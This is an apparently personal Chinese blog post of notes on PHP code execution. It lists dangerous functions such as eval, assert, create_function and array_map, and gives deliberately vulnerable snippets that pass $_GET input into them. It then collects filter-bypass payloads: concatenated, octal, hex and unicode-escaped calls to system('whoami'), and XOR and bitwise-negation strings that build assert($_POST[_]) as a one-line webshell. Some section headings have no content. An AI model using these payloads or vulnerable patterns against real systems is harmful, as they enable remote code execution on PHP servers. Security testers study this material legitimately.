浅谈代码执行

一、可用代码执行函数

1.eval()

最常见的代码执行函数,把字符串 code 作为PHP代码执行。

 

2.assert()

检查一个断言是否为false

或者(php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。)

 

 

3.preg_replace()+/e

执行一个正则表达式的搜索和替换

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分,以replacement进行替换。如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行

该模式在php7.1已被移除

 

 

3.creat_function()

create_function ( string $args , string $code ) : string
create_function('$faker','echo $cmd."faker"')

举例:

<?php
    show_source(__FILE__);
    error_reporting(0);
    $id=$_GET['id'];
    $str2='echo  '.$a.'test'.$id.";";
    echo $str2;
    echo "<br/>";
    $f1 = create_function('$a',$str2);
    ?>
 

 

这是预期 当我们传入?id=2;}phpinfo();//

就相当于变成

function fT($a) {
  echo "test";}
  phpinfo();//;
}
 
 实现注入!
 
 
 
 
 
4.
array_map

为数组的每个元素应用回调函数

array_map ( callable $callback , array $array , array ...$arrays ) : array

这边尝试调用eval没有成功,应该是不能调用,不过我们可以调用assert函数

 <?php
  show_source(__FILE__);
  $cmd = $_GET['cmd'];
  $str = $_GET['str'];
  array_map($cmd,$str);
  ?> 

 

 

 

 

5.call_user_func

把第一个参数作为回调函数调用

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

第一个要回调的参数 后面的都是参数

 

 

 

 

5.array_filter()

用回调函数过滤数组中的单元

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

 依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

 

 

 

6、usort() (php<5.6)

使用用户自定义的比较函数对数组中的值进行排序

usort ( array &$array , callable $value_compare_func ) : bool

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

 

 

 5.6<phpversion<7时,有参数变长特性

 

 

 

二、字符串拼接绕过(php>=7)

(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......

//在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)mochu7;,在这种情况下,$name就包含字符串"mochu7",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

 

 

三、字符串转义绕过

以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......

 

然后八进制可以无字母传参

 

 

四、多次传参绕过

 

 

 

 

五、内置函数绕过

利用这种方法首先还需要知道PHP的具体版本,因为每个版本的get_defined_functions()返回的值都是不一样的,这里以php7.2.10为准

 

 

 

六、异或绕过

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

 

 

七、url取反绕过

当5<=PHP<=7.0.9时,需要再执行一次构造出来的字符,所以参考上面那种异或拼接的方法

$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);



 

 

 

 

 

 

参考:
      https://blog.csdn.net/mochu7777777/article/details/104631142
      https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
      https://blog.csdn.net/weixin_39804523/article/details/112127923
 
posted @ 2021-08-12 15:48  fak1r26  阅读(711)  评论(0)    收藏  举报